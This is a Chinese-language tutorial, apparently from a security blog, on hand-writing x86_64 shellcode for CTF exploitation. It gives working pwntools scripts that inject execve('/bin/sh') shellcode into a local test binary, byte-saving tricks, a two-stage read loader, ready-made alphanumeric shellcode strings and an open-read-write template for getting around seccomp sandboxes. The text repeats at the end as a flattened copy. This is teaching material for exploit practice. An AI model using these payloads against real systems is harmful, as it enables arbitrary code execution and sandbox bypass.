shellcode进阶之手写shellcode
字数 1619 2025-08-23 18:31:25

Shellcode进阶之手写Shellcode教学文档

一、Shellcode基础概念

Shellcode是一段机器码,通过漏洞程序产生的非法执行造成泄露、提权、getshell等危害。通常通过编译汇编语言来得到对应机器码。

二、常用汇编指令(x86_64架构)

基本指令

  • pop 寄存器名:将栈中的下一个4/8字节数的地址弹入对应寄存器
  • push 数字或寄存器:将对应数字/寄存器值压入栈
  • mov 寄存器a, (数字或寄存器):赋值操作
  • xor 寄存器a, (数字或寄存器):异或操作
  • add 寄存器a, (数字或寄存器):加法操作
  • sub 寄存器a, (数字或寄存器):减法操作
  • syscall:x64系统调用命令(机器码为\x0f\x05
  • int 0x80:x86系统调用命令
  • ret:相当于pop eip

寄存器用途

直接参与系统调用的寄存器

  • RAX:系统调用号
  • RDI:第1参数
  • RSI:第2参数
  • RDX:第3参数
  • R10:第4参数
  • R8:第5参数
  • R9:第6参数

间接参与系统调用的寄存器

  • RSP:栈顶指针
  • RBP:栈底指针
  • RIP:指令指针

基本不参与系统调用的寄存器

  • RBX、R11、R12、R13、R14、R15

注意事项

  1. 指令要与操作系统位数匹配
  2. 寄存器位数要一致
  3. 不能出现如MOV RAX, EDI等寄存器位数不对等的情况

三、Shellcode编写实践

1. 基本Shellcode编写

目标:调用execve("/bin/sh\x00",0,0)

实现步骤:

  1. /bin/sh\x00转换为16进制ASCII码(注意小端序):0x0068732f6e69622f
  2. 将值存入寄存器并压栈
  3. 将RSP赋值给RDI(第1参数)
  4. 设置RSI和RDX为0(第2、3参数)
  5. 设置RAX为59(execve系统调用号)
  6. 执行syscall

示例代码:

from pwn import *
context.log_level = 'debug'
context(os='linux', arch='amd64')
io = process('./test')

shellcode = asm('''
    mov rbx, 0x0068732f6e69622f
    push rbx
    mov rdi,rsp
    mov rsi,0
    mov rdx,0
    mov rax,59
    syscall
''')

io.sendafter(':\n', shellcode)
io.interactive()

2. Shellcode精简技巧

优化方法:

  1. push+pop代替mov(节省字节)
    • mov rax,rdipush rdi; pop rax
  2. xor清零寄存器
    • xor esi,esi代替mov rsi,0

优化后代码:

shellcode = asm('''
    mov rbx, 0x0068732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 59
    pop rax
    syscall
''')

长度从0x25字节缩短到0x16字节

3. Reread技术

当字节数不足时,可以先构造read系统调用读入更多数据

实现思路:

构造read(0,addr,len)系统调用

示例代码:

rea = asm('''
    push rax
    pop rsi
    xor edi,edi
    push r11
    pop rdx
    xor eax,eax
    syscall
''')

长度仅0xb字节

完整利用:

from pwn import *
context.log_level = 'debug'
context(os='linux', arch='amd64')
io = process('./test2')

shellcode = asm('''
    mov rbx, 0x0068732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 59
    pop rax
    syscall
''')

rea = asm('''
    push rax
    pop rsi
    xor edi,edi
    push r11
    pop rdx
    xor eax,eax
    syscall
''')

io.sendafter(':\n', rea)
io.send(b'a'*0xb + shellcode)
io.interactive()

四、纯ASCII字符Shellcode

1. 限制条件

只能使用可见ASCII字符(a-z, A-Z, 0-9)

2. 实现技巧

  • 利用NULL字符被解析成的add byte ptr [rax], al指令
  • 利用libc函数地址低字节偏移不变特性
  • xor+add组合运算
  • push+ret实现流程控制
  • jz指令实现短跳

3. 示例Shellcode

32位:

PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA

64位:

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

五、ORW Shellcode

1. 应用场景

当沙箱禁用execve时,使用open-read-write组合实现任意读写

2. 调用链示例

open('./flag\x00',0,0)read(0,adr,len)write(1,adr,len)

3. 模板代码

shellcode = asm('''
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
''')

4. 替代函数

  • open替代:fopen、creat、openat、fopen64、open64、freopen
  • read替代:pread、readv、preadv、splice、sendfile、mmap
  • write替代:pwrite、send、writev

六、总结

  1. Shellcode编写需要扎实的汇编基础
  2. 掌握寄存器使用和系统调用参数传递规则
  3. 灵活运用各种优化技巧缩减Shellcode大小
  4. 针对不同限制条件(如纯ASCII字符)有相应的解决方案
  5. 沙箱环境下可使用ORW等技术绕过限制
Shellcode进阶之手写Shellcode教学文档 一、Shellcode基础概念 Shellcode是一段机器码,通过漏洞程序产生的非法执行造成泄露、提权、getshell等危害。通常通过编译汇编语言来得到对应机器码。 二、常用汇编指令(x86_ 64架构) 基本指令 pop 寄存器名 :将栈中的下一个4/8字节数的地址弹入对应寄存器 push 数字或寄存器 :将对应数字/寄存器值压入栈 mov 寄存器a, (数字或寄存器) :赋值操作 xor 寄存器a, (数字或寄存器) :异或操作 add 寄存器a, (数字或寄存器) :加法操作 sub 寄存器a, (数字或寄存器) :减法操作 syscall :x64系统调用命令(机器码为 \x0f\x05 ) int 0x80 :x86系统调用命令 ret :相当于 pop eip 寄存器用途 直接参与系统调用的寄存器 RAX:系统调用号 RDI:第1参数 RSI:第2参数 RDX:第3参数 R10:第4参数 R8:第5参数 R9:第6参数 间接参与系统调用的寄存器 RSP:栈顶指针 RBP:栈底指针 RIP:指令指针 基本不参与系统调用的寄存器 RBX、R11、R12、R13、R14、R15 注意事项 指令要与操作系统位数匹配 寄存器位数要一致 不能出现如 MOV RAX, EDI 等寄存器位数不对等的情况 三、Shellcode编写实践 1. 基本Shellcode编写 目标:调用 execve("/bin/sh\x00",0,0) 实现步骤: 将 /bin/sh\x00 转换为16进制ASCII码(注意小端序): 0x0068732f6e69622f 将值存入寄存器并压栈 将RSP赋值给RDI(第1参数) 设置RSI和RDX为0(第2、3参数) 设置RAX为59(execve系统调用号) 执行syscall 示例代码: 2. Shellcode精简技巧 优化方法: 用 push + pop 代替 mov (节省字节) 如 mov rax,rdi → push rdi; pop rax 用 xor 清零寄存器 xor esi,esi 代替 mov rsi,0 优化后代码: 长度从0x25字节缩短到0x16字节 3. Reread技术 当字节数不足时,可以先构造read系统调用读入更多数据 实现思路: 构造 read(0,addr,len) 系统调用 示例代码: 长度仅0xb字节 完整利用: 四、纯ASCII字符Shellcode 1. 限制条件 只能使用可见ASCII字符(a-z, A-Z, 0-9) 2. 实现技巧 利用NULL字符被解析成的 add byte ptr [rax], al 指令 利用libc函数地址低字节偏移不变特性 xor+add组合运算 push+ret实现流程控制 jz指令实现短跳 3. 示例Shellcode 32位: 64位: 五、ORW Shellcode 1. 应用场景 当沙箱禁用execve时,使用open-read-write组合实现任意读写 2. 调用链示例 open('./flag\x00',0,0) → read(0,adr,len) → write(1,adr,len) 3. 模板代码 4. 替代函数 open替代:fopen、creat、openat、fopen64、open64、freopen read替代:pread、readv、preadv、splice、sendfile、mmap write替代:pwrite、send、writev 六、总结 Shellcode编写需要扎实的汇编基础 掌握寄存器使用和系统调用参数传递规则 灵活运用各种优化技巧缩减Shellcode大小 针对不同限制条件(如纯ASCII字符)有相应的解决方案 沙箱环境下可使用ORW等技术绕过限制